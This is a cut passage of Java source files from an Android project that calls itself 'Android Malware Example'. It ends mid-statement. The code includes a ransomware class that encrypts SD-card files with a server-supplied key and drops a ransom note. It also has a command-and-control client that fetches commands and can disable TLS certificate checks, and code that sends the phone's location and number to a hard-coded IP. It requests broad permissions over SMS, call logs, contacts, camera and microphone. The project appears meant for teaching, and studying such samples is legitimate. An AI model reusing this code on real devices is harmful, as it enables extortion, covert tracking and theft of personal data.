java.io.OutputStreamWriter; 33 | import java.util.ArrayList; 34 | import java.util.Date; 35 | import java.util.Hashtable; 36 | import java.util.List; 37 | 38 | /** 39 | * Created by darrylb on 10/2/16. 40 | */ 41 | public class ListSDFiles { 42 | 43 | ConfigParams configParams; 44 | Context context; 45 | String root_sd = Environment.getExternalStorageDirectory().toString(); 46 | 47 | private File file; 48 | private List myFileList; 49 | private Hashtable myFileDetails; 50 | 51 | final String state = Environment.getExternalStorageState(); 52 | 53 | public ListSDFiles(Context _context){ 54 | context = _context; 55 | configParams = new ConfigParams(context); 56 | myFileList = new ArrayList(); 57 | myFileDetails = new Hashtable(); 58 | 59 | 60 | } 61 | public List getAllFiles() { 62 | 63 | 64 | if ( Environment.MEDIA_MOUNTED.equals(state) || Environment.MEDIA_MOUNTED_READ_ONLY.equals(state) ) { // we can read the External Storage... 65 | getAllFilesOfDir(Environment.getExternalStorageDirectory()); 66 | } 67 | return myFileList; 68 | 69 | } 70 | private void getAllFilesOfDir(File directory) { 71 | if (configParams.Logging) Log.d(configParams.PROGID, "Directory: " + directory.getAbsolutePath() + "\n"); 72 | 73 | final File[] files = directory.listFiles(); 74 | 75 | if ( files != null ) { 76 | for ( File file : files ) { 77 | if ( file != null ) { 78 | if ( file.isDirectory() ) { // it is a folder... 79 | getAllFilesOfDir(file); 80 | } 81 | else { // it is a file... 82 | Log.d(configParams.PROGID, "File: " + file.getAbsolutePath() + "\n"); 83 | myFileList.add(file.getAbsolutePath()); 84 | myFileDetails.put(file.getAbsolutePath(),file); 85 | } 86 | } 87 | } 88 | } 89 | } 90 | private File getFileDetails(String path){ 91 | File file = new File(path); 92 | return file; 93 | } 94 | public void SaveToFile(String _file){ 95 | 96 | BufferedWriter out; 97 | File fpath = configParams.StoragePath; 98 | try { 99 | 100 | FileWriter fileWriter = new FileWriter(fpath + "/" + _file); 101 | 102 | out = new BufferedWriter(fileWriter); 103 | 104 | for (int i = 0; i < myFileList.size(); i++) { 105 | String path = myFileList.get(i); 106 | File file = (File) myFileDetails.get(path); 107 | Date lastModDate = new Date(file.lastModified()); 108 | String _details = file.getName()+", "+file.getAbsolutePath() + ", " + lastModDate.toString() + ", " + file.length()+System.getProperty("line.separator"); 109 | out.write(_details); 110 | } 111 | 112 | out.close(); 113 | } 114 | catch (IOException e) { 115 | if (configParams.Logging) Log.e("Exception", "File write failed: " + e.toString()); 116 | } 117 | 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/MainActivity.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.Manifest; 24 | import android.app.Activity; 25 | import android.app.AlertDialog; 26 | import android.content.ComponentName; 27 | import android.content.Context; 28 | import android.content.DialogInterface; 29 | import android.content.Intent; 30 | import android.content.IntentFilter; 31 | import android.content.pm.PackageManager; 32 | import android.os.StrictMode; 33 | import android.support.v4.app.ActivityCompat; 34 | import android.support.v4.content.ContextCompat; 35 | import android.support.v7.app.AppCompatActivity; 36 | import android.os.Bundle; 37 | import android.util.Log; 38 | import android.view.Menu; 39 | import android.view.View; 40 | import android.widget.Button; 41 | import android.widget.Toast; 42 | 43 | 44 | 45 | import com.burke_consulting.malwareexample.R; 46 | 47 | import java.util.ArrayList; 48 | import java.util.List; 49 | 50 | public class MainActivity extends Activity { 51 | 52 | 53 | Button BGOn; 54 | Button BGOff; 55 | Context context; 56 | ConfigParams configParams; 57 | public static MainActivity mainactivity = null; 58 | Thread thread; 59 | ComponentName _comp; 60 | 61 | @Override 62 | protected void onCreate(Bundle savedInstanceState) { 63 | super.onCreate(savedInstanceState); 64 | setContentView(R.layout.activity_main); 65 | context = this; 66 | 67 | mainactivity = this; 68 | StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); 69 | StrictMode.setThreadPolicy(policy); 70 | 71 | configParams = new ConfigParams(context); 72 | BGOn = (Button) findViewById(R.id.buttonOn); 73 | BGOff = (Button) findViewById(R.id.buttonOff); 74 | final Intent _bgmain = new Intent(MainActivity.this,BGMonitor.class); 75 | 76 | final BGReceiver _bgreceiver = new BGReceiver(); 77 | final IntentFilter filter = new IntentFilter(); 78 | //filter.addAction("android.provider.Telephony.SMS_RECEIVED"); 79 | filter.addAction("android.intent.action.BOOT_COMPLETED"); 80 | 81 | BGOn.setOnClickListener(new View.OnClickListener() { 82 | @Override 83 | public void onClick(View arg0) { 84 | Toast.makeText(context, "Debug Started",Toast.LENGTH_LONG).show(); 85 | 86 | // Log.d("BGMonitorActivity", "On Button Pressed"); 87 | registerReceiver(_bgreceiver, filter); 88 | // ComponentName _comp = startService(new Intent(MainActivity.this,BGMonitor.class)); 89 | // Log.d("BGMonitorActivity", _comp.flattenToString()); 90 | // AsyncService _as = new AsyncService(); 91 | // AsyncParams _asp = new AsyncParams(); 92 | // _asp._context = myContext; 93 | // _asp._activity = MainActivity.this; 94 | // _as.doInBackground(_asp); 95 | 96 | thread = new Thread(new Runnable() 97 | { 98 | @Override 99 | public void run() 100 | { 101 | try 102 | { 103 | 104 | _comp = startService(_bgmain); 105 | } 106 | catch (Exception e) 107 | { 108 | e.printStackTrace(); 109 | } 110 | } 111 | }); 112 | 113 | thread.start(); 114 | 115 | } 116 | 117 | }); 118 | BGOff.setOnClickListener(new View.OnClickListener() { 119 | @Override 120 | public void onClick(View arg0) { 121 | // Log.d("BGMonitorActivity", "Off Button Pressed"); 122 | Toast.makeText(context, "Debug Stopped",Toast.LENGTH_LONG).show(); 123 | // boolean _bool = stopService(new Intent(MainActivity.this,BGMonitor.class)); 124 | // Log.d("BGMonitorActivity", "Service Stopped:"+_bool); 125 | try{ 126 | unregisterReceiver(_bgreceiver); 127 | stopService(_bgmain); 128 | thread.interrupt(); 129 | 130 | } catch (Exception ex){ 131 | 132 | 133 | } 134 | 135 | 136 | } 137 | 138 | }); 139 | 140 | 141 | checkAllPermissions(); 142 | 143 | 144 | } 145 | private boolean addPermission(List permissionsList, String permission) { 146 | if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) { 147 | permissionsList.add(permission); 148 | // Check for Rationale Option 149 | if (!shouldShowRequestPermissionRationale(permission)) 150 | return false; 151 | } 152 | return true; 153 | } 154 | public void checkAllPermissions() { 155 | 156 | List permissionsNeeded = new ArrayList(); 157 | 158 | final List permissionsList = new ArrayList(); 159 | if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION)) 160 | permissionsNeeded.add("GPS"); 161 | if (!addPermission(permissionsList, Manifest.permission.READ_CONTACTS)) 162 | permissionsNeeded.add("Contacts/Accounts"); 163 | if (!addPermission(permissionsList, Manifest.permission.CAMERA)) 164 | permissionsNeeded.add("Camera"); 165 | if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION)) 166 | permissionsNeeded.add("Location"); 167 | if (!addPermission(permissionsList, Manifest.permission.RECORD_AUDIO)) 168 | permissionsNeeded.add("Audio"); 169 | if (!addPermission(permissionsList, Manifest.permission.READ_PHONE_STATE)) 170 | permissionsNeeded.add("Phone State"); 171 | if (!addPermission(permissionsList, Manifest.permission.READ_CALL_LOG)) 172 | permissionsNeeded.add("Phone Logs"); 173 | if (!addPermission(permissionsList, Manifest.permission.READ_SMS)) 174 | permissionsNeeded.add("SMS"); 175 | if (!addPermission(permissionsList, Manifest.permission.READ_EXTERNAL_STORAGE)) 176 | permissionsNeeded.add("Storage"); 177 | 178 | 179 | if (permissionsList.size() > 0) { 180 | if (permissionsNeeded.size() > 0) { 181 | // Need Rationale 182 | String message = "You need to grant access to " + permissionsNeeded.get(0); 183 | for (int i = 1; i < permissionsNeeded.size(); i++) 184 | message = message + ", " + permissionsNeeded.get(i); 185 | showMessageOKCancel(message, 186 | new DialogInterface.OnClickListener() { 187 | @Override 188 | public void onClick(DialogInterface dialog, int which) { 189 | requestPermissions(permissionsList.toArray(new String[permissionsList.size()]), 190 | configParams.PERMISSIONS_REQUEST_ALL); 191 | } 192 | }); 193 | return; 194 | } 195 | requestPermissions(permissionsList.toArray(new String[permissionsList.size()]), 196 | configParams.PERMISSIONS_REQUEST_ALL); 197 | return; 198 | } 199 | 200 | 201 | //boolean X = checkPermissions(Manifest.permission.READ_SMS,configParams.REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS); 202 | } 203 | 204 | private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) { 205 | new AlertDialog.Builder(MainActivity.this) 206 | .setMessage(message) 207 | .setPositiveButton("OK", okListener) 208 | .setNegativeButton("Cancel", null) 209 | .create() 210 | .show(); 211 | } 212 | 213 | public boolean checkPermissions(final String permission, final int code) { 214 | 215 | Log.d(configParams.PROGID,"Checking Permissions Granted:"+permission); 216 | 217 | 218 | if (ContextCompat.checkSelfPermission(context, 219 | permission) 220 | != PackageManager.PERMISSION_GRANTED) { 221 | 222 | Log.d(configParams.PROGID,"No Permissions"); 223 | // Should we show an explanation? 224 | if (ActivityCompat.shouldShowRequestPermissionRationale(this, 225 | permission)) { 226 | 227 | Log.d(configParams.PROGID,"Requesting"); 228 | showMessageOKCancel("You need to allow access to "+permission, 229 | new DialogInterface.OnClickListener() { 230 | @Override 231 | public void onClick(DialogInterface dialog, int which) { 232 | requestPermissions(new String[] {permission}, 233 | code); 234 | } 235 | }); 236 | 237 | 238 | 239 | return false; 240 | 241 | } else { 242 | 243 | // No explanation needed, we can request the permission. 244 | Log.d(configParams.PROGID,"No Need to Request"); 245 | ActivityCompat.requestPermissions(this, 246 | new String[]{permission}, 247 | code); 248 | 249 | return true; 250 | } 251 | } else { 252 | return true; 253 | } 254 | } 255 | 256 | 257 | @Override 258 | public void onRequestPermissionsResult(int requestCode,String permissions[], int[] grantResults) { 259 | 260 | if (requestCode == configParams.PERMISSIONS_REQUEST_READ_SMS) { 261 | 262 | // If request is cancelled, the result arrays are empty. 263 | if (grantResults.length > 0 264 | && grantResults[0] == PackageManager.PERMISSION_GRANTED) { 265 | 266 | // permission was granted, yay! Do the 267 | // contacts-related task you need to do. 268 | 269 | } else { 270 | 271 | // permission denied, boo! Disable the 272 | // functionality that depends on this permission. 273 | } 274 | return; 275 | 276 | 277 | // other 'case' lines to check for other 278 | // permissions this app might request 279 | } 280 | } 281 | 282 | @Override 283 | public void onResume() 284 | { 285 | super.onResume(); 286 | mainactivity = this; 287 | } 288 | 289 | @Override 290 | public void onPause() 291 | { 292 | super.onPause(); 293 | mainactivity = null; 294 | } 295 | 296 | } 297 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/MyAppContext.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | /** 24 | * Created by darrylb on 12/21/16. 25 | */ 26 | 27 | import android.app.Application; 28 | import android.content.Context; 29 | 30 | public class MyAppContext extends Application { 31 | private Context context; 32 | 33 | public Context getContext() { return context; } 34 | 35 | public void setContext(Context context_) { context = context_; } 36 | 37 | public void onCreate(){ 38 | super.onCreate(); 39 | this.context = getApplicationContext(); 40 | } 41 | } -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/NetworkHandler.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | import android.content.Context; 23 | import android.net.Uri; 24 | import android.util.Log; 25 | 26 | 27 | import java.io.BufferedInputStream; 28 | import java.io.BufferedReader; 29 | import java.io.BufferedWriter; 30 | import java.io.InputStream; 31 | import java.io.InputStreamReader; 32 | import java.io.OutputStream; 33 | import java.io.OutputStreamWriter; 34 | import java.net.HttpURLConnection; 35 | import java.net.Socket; 36 | import java.net.URL; 37 | import java.security.KeyStore; 38 | import java.security.SecureRandom; 39 | import java.security.cert.Certificate; 40 | import java.security.cert.CertificateException; 41 | import java.security.cert.CertificateFactory; 42 | import java.security.cert.X509Certificate; 43 | import java.util.ArrayList; 44 | import java.util.HashMap; 45 | import java.util.List; 46 | 47 | import javax.net.ssl.HostnameVerifier; 48 | import javax.net.ssl.HttpsURLConnection; 49 | import javax.net.ssl.KeyManagerFactory; 50 | import javax.net.ssl.SSLContext; 51 | import javax.net.ssl.SSLSession; 52 | import javax.net.ssl.TrustManagerFactory; 53 | import javax.net.ssl.X509TrustManager; 54 | 55 | /** 56 | * Created by darrylb on 10/2/16. 57 | */ 58 | public class NetworkHandler { 59 | 60 | 61 | private Context context; 62 | private ConfigParams configParams; 63 | 64 | 65 | public NetworkHandler(Context _context){ 66 | context = _context; 67 | configParams = new ConfigParams(context); 68 | } 69 | 70 | 71 | 72 | public String getRemoteEncKey() { 73 | return (SendCommand("getEncKey.php")); 74 | } 75 | public String getCommands() { 76 | return (SendCommand("getCommands.php")); 77 | } 78 | 79 | public String SendCommand(String command) { 80 | String response=""; 81 | try { 82 | URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + command); 83 | Uri.Builder builder = new Uri.Builder() 84 | .appendQueryParameter("DeviceID", configParams.UniqueID); 85 | String query = builder.build().getEncodedQuery(); 86 | if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){ 87 | //create code to trust a self signed cert 88 | // Note you need the pem/crt file to be in the App config to trust it 89 | if (configParams.SelfSigned) 90 | setUpHttpsConnection(query); 91 | 92 | 93 | }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){ 94 | //trust all certs !!! Warning Dangerous 95 | 96 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){ 97 | public boolean verify(String hostname, SSLSession session) { 98 | return true; 99 | }}); 100 | SSLContext context = SSLContext.getInstance("TLS"); 101 | context.init(null, new X509TrustManager[]{new X509TrustManager(){ 102 | public void checkClientTrusted(X509Certificate[] chain, 103 | String authType) throws CertificateException {} 104 | public void checkServerTrusted(X509Certificate[] chain, 105 | String authType) throws CertificateException {} 106 | public X509Certificate[] getAcceptedIssuers() { 107 | return new X509Certificate[0]; 108 | }}}, new SecureRandom()); 109 | HttpsURLConnection.setDefaultSSLSocketFactory( 110 | context.getSocketFactory()); 111 | 112 | } 113 | 114 | HttpURLConnection conn = (HttpURLConnection) url.openConnection(); 115 | conn.setReadTimeout(10000); 116 | conn.setConnectTimeout(15000); 117 | conn.setRequestMethod("POST"); 118 | conn.setDoInput(true); 119 | conn.setDoOutput(true); 120 | 121 | 122 | 123 | OutputStream os = conn.getOutputStream(); 124 | BufferedWriter writer = new BufferedWriter( 125 | new OutputStreamWriter(os, "UTF-8")); 126 | writer.write(query); 127 | writer.flush(); 128 | writer.close(); 129 | os.close(); 130 | int responseCode=conn.getResponseCode(); 131 | 132 | if (responseCode == HttpsURLConnection.HTTP_OK) { 133 | String line; 134 | BufferedReader br=new BufferedReader(new InputStreamReader(conn.getInputStream())); 135 | while ((line=br.readLine()) != null) { 136 | response+=line; 137 | } 138 | } 139 | else { 140 | response="Error"; 141 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler:"+responseCode); 142 | } 143 | conn.connect(); 144 | } catch ( Exception ex){ 145 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler:"+ex.toString()); 146 | } 147 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler Returned:["+response+"]"); 148 | return response; 149 | 150 | } 151 | 152 | 153 | 154 | public void setUpHttpsConnection(String urlString) 155 | { 156 | try 157 | { 158 | // Load CAs from an InputStream 159 | // (could be from a resource or ByteArrayInputStream or ...) 160 | CertificateFactory cf = CertificateFactory.getInstance("X.509"); 161 | 162 | InputStream caInput = new BufferedInputStream(context.getAssets().open("serverlc.crt")); 163 | Certificate ca = cf.generateCertificate(caInput); 164 | if (configParams.Logging) Log.d(configParams.PROGID,"ca=" + ((X509Certificate) ca).getSubjectDN()); 165 | 166 | // Create a KeyStore containing our trusted CAs 167 | String keyStoreType = KeyStore.getDefaultType(); 168 | KeyStore keyStore = KeyStore.getInstance(keyStoreType); 169 | keyStore.load(null, null); 170 | keyStore.setCertificateEntry("ca", ca); 171 | 172 | // Create a TrustManager that trusts the CAs in our KeyStore 173 | String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm(); 174 | TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm); 175 | tmf.init(keyStore); 176 | 177 | // Create an SSLContext that uses our TrustManager 178 | SSLContext context = SSLContext.getInstance("TLS"); 179 | context.init(null, tmf.getTrustManagers(), null); 180 | 181 | 182 | // Tell the URLConnection to use a SocketFactory from our SSLContext 183 | 184 | HttpsURLConnection.setDefaultSSLSocketFactory( 185 | context.getSocketFactory()); 186 | 187 | } 188 | catch (Exception ex) 189 | { 190 | 191 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler: Error creating own Trust Manager"); 192 | } 193 | } 194 | 195 | 196 | } 197 | 198 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/PhoneInfo.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | public class PhoneInfo { 23 | public String PhoneNumber; 24 | public boolean Location; 25 | public int Duration; 26 | } 27 | 28 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/Ransomware.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.os.Environment; 25 | import android.util.Log; 26 | 27 | import java.io.File; 28 | import java.io.FileWriter; 29 | import java.util.List; 30 | 31 | /** 32 | * Created by darrylb on 12/20/16. 33 | * This class is an example ransomware class that encrypts files on the SD card based on the encryption key sent in the command to the device (yes I know that sending the key to the client is not secure 34 | * but it's only an example of doing it.. in real life the key should be generated from the client and sent to the server to storage) 35 | * 36 | */ 37 | 38 | public class Ransomware { 39 | 40 | String root_sd = Environment.getExternalStorageDirectory().toString(); 41 | Context context; 42 | ConfigParams params; 43 | String EncKey; 44 | FileUtils fileutils; 45 | 46 | public Ransomware(Context _context,ConfigParams _params, String _EncKey){ 47 | 48 | context = _context; 49 | params = _params; 50 | EncKey = _EncKey; 51 | fileutils = new FileUtils(context); 52 | if (params.Debug){ 53 | try { 54 | //creates a test file to ransom rather then real files 55 | File testfile = new File(root_sd, "test.AAAAAA"); 56 | FileWriter writer = new FileWriter(testfile); 57 | writer.append("Ransom me off to the highest bidder"); 58 | writer.flush(); 59 | writer.close(); 60 | } catch (Exception ex) { 61 | Log.d(params.PROGID,"Unable to create test ransom file"); 62 | } 63 | } 64 | } 65 | 66 | public void createWarning() { 67 | 68 | try { 69 | //put a readme file down to warn the user of the device 70 | File testfile = new File(root_sd, "README_RANSOMWARE.txt"); 71 | FileWriter writer = new FileWriter(testfile); 72 | writer.append("Your files have been encrypted and are being held for ransom. Contact John Doe @ youoweme.com"); 73 | writer.flush(); 74 | writer.close(); 75 | } catch (Exception ex) { 76 | 77 | } 78 | } 79 | //Encrypt the SD card contents 80 | public void encrypt(){ 81 | ListSDFiles sdfiles = new ListSDFiles(context); 82 | List files = sdfiles.getAllFiles(); 83 | 84 | for (String file : files) { 85 | //don't encrypt files already encryped or the README file 86 | if (file.endsWith(".enc") || file.endsWith("README_RANSOMWARE.txt")){ 87 | //already encrypted ignore 88 | }else { 89 | if (file.endsWith("test.AAAAAA")) { 90 | if (params.Logging) 91 | Log.d(params.PROGID, "Ransoming File:[" + EncKey + "]:[" + file + "]"); 92 | //DO NOT ENABLE THIS UNLESS YOU WANT MAJOR PROBLEMS ;) 93 | fileutils.EncryptFile(root_sd + "/", file.replace(root_sd + "/", ""), EncKey); 94 | // File sdfile = new File(file); 95 | // boolean deleted = sdfile.delete(); 96 | } 97 | } 98 | } 99 | 100 | 101 | 102 | } 103 | // 104 | public void decrypt() { 105 | ListSDFiles sdfiles = new ListSDFiles(context); 106 | List files = sdfiles.getAllFiles(); 107 | 108 | for (String file : files) { 109 | if (file.endsWith(".enc")){ 110 | if (file.endsWith("test.AAAAAA.enc")){ 111 | if (params.Logging) Log.d(params.PROGID, "Freeing File:"+EncKey+"]:["+file+"]"); 112 | //DO NOT ENABLE THIS UNLESS YOU WANT MAJOR PROBLEMS ;) 113 | // File sdfile = new File(file); 114 | // boolean deleted = sdfile.delete(); 115 | } 116 | 117 | } 118 | 119 | } 120 | 121 | 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/SMSLogHelper.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.ContentResolver; 24 | import android.database.Cursor; 25 | import android.net.Uri; 26 | 27 | /** 28 | * Created by darrylb on 10/3/16. 29 | */ 30 | public class SMSLogHelper { 31 | 32 | 33 | } 34 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/SMSReceiver.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.BroadcastReceiver; 24 | import android.content.Context; 25 | import android.content.Intent; 26 | import android.os.Bundle; 27 | import android.telephony.SmsManager; 28 | import android.telephony.SmsMessage; 29 | import android.util.Log; 30 | 31 | /** 32 | * Created by darrylb on 10/4/16. 33 | */ 34 | 35 | 36 | public class SMSReceiver extends BroadcastReceiver { 37 | 38 | Context context; 39 | ConfigParams configParams; 40 | public SMSReceiver(Context _context) { 41 | context = _context; 42 | configParams = new ConfigParams(context); 43 | } 44 | public SMSReceiver() { 45 | 46 | 47 | } 48 | @Override 49 | public void onReceive(Context _context, Intent intent) { 50 | // TODO Auto-generated method stub 51 | if (context == null){ 52 | context = _context; 53 | configParams = new ConfigParams(context); 54 | 55 | } 56 | if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){ 57 | Bundle bundle = intent.getExtras(); //---get the SMS message passed in--- 58 | SmsMessage[] msgs = null; 59 | String msg_from; 60 | if (bundle != null){ 61 | //---retrieve the SMS message received--- 62 | try{ 63 | Object[] pdus = (Object[]) bundle.get("pdus"); 64 | msgs = new SmsMessage[pdus.length]; 65 | for(int i=0; i. 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import java.util.HashMap; 24 | 25 | public class SampleGattAttributes { 26 | private static HashMap attributes = new HashMap(); 27 | public static String HEART_RATE_MEASUREMENT = "00002a37-0000-1000-8000-00805f9b34fb"; 28 | public static String CLIENT_CHARACTERISTIC_CONFIG = "00002902-0000-1000-8000-00805f9b34fb"; 29 | 30 | static { 31 | // Sample Services. 32 | attributes.put("0000180d-0000-1000-8000-00805f9b34fb", "Heart Rate Service"); 33 | attributes.put("0000180a-0000-1000-8000-00805f9b34fb", "Device Information Service"); 34 | // Sample Characteristics. 35 | attributes.put(HEART_RATE_MEASUREMENT, "Heart Rate Measurement"); 36 | attributes.put("00002a29-0000-1000-8000-00805f9b34fb", "Manufacturer Name String"); 37 | } 38 | 39 | public static String lookup(String uuid, String defaultName) { 40 | String name = attributes.get(uuid); 41 | return name == null ? defaultName : name; 42 | } 43 | } -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/WritePhoneInfo.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.util.Log; 24 | 25 | import java.io.BufferedReader; 26 | import java.io.InputStreamReader; 27 | import java.net.HttpURLConnection; 28 | import java.net.URL; 29 | import java.text.SimpleDateFormat; 30 | import java.util.Date; 31 | 32 | 33 | import java.io.BufferedInputStream; 34 | import java.io.BufferedReader; 35 | import java.io.IOException; 36 | import java.io.InputStream; 37 | import java.io.InputStreamReader; 38 | import java.io.Reader; 39 | import java.net.HttpURLConnection; 40 | import java.net.URI; 41 | import java.net.URL; 42 | import java.net.URLEncoder; 43 | import java.text.SimpleDateFormat; 44 | import java.util.Date; 45 | 46 | 47 | import android.util.Log; 48 | 49 | public class WritePhoneInfo { 50 | 51 | public void SavePhoneLocation(String _lat, String _lon, String Phone){ 52 | Date today = new Date(); 53 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 54 | SimpleDateFormat sdt = new SimpleDateFormat("HH:mm"); 55 | String formattedDate = sdf.format(today); 56 | String formattedTime = sdt.format(today); 57 | if (_lat.equals("9999.0")) 58 | return; 59 | 60 | 61 | String myURL="http://209.91.186.30/save.php?lat="+_lat+"&lon="+_lon+"&phone="+Phone+"&date="+formattedDate+"&time="+formattedTime; 62 | 63 | 64 | 65 | StringBuilder stringBuilder = new StringBuilder("http://209.91.186.30/save.php"); 66 | stringBuilder.append("?lat="+_lat); 67 | stringBuilder.append("&lon="+_lon); 68 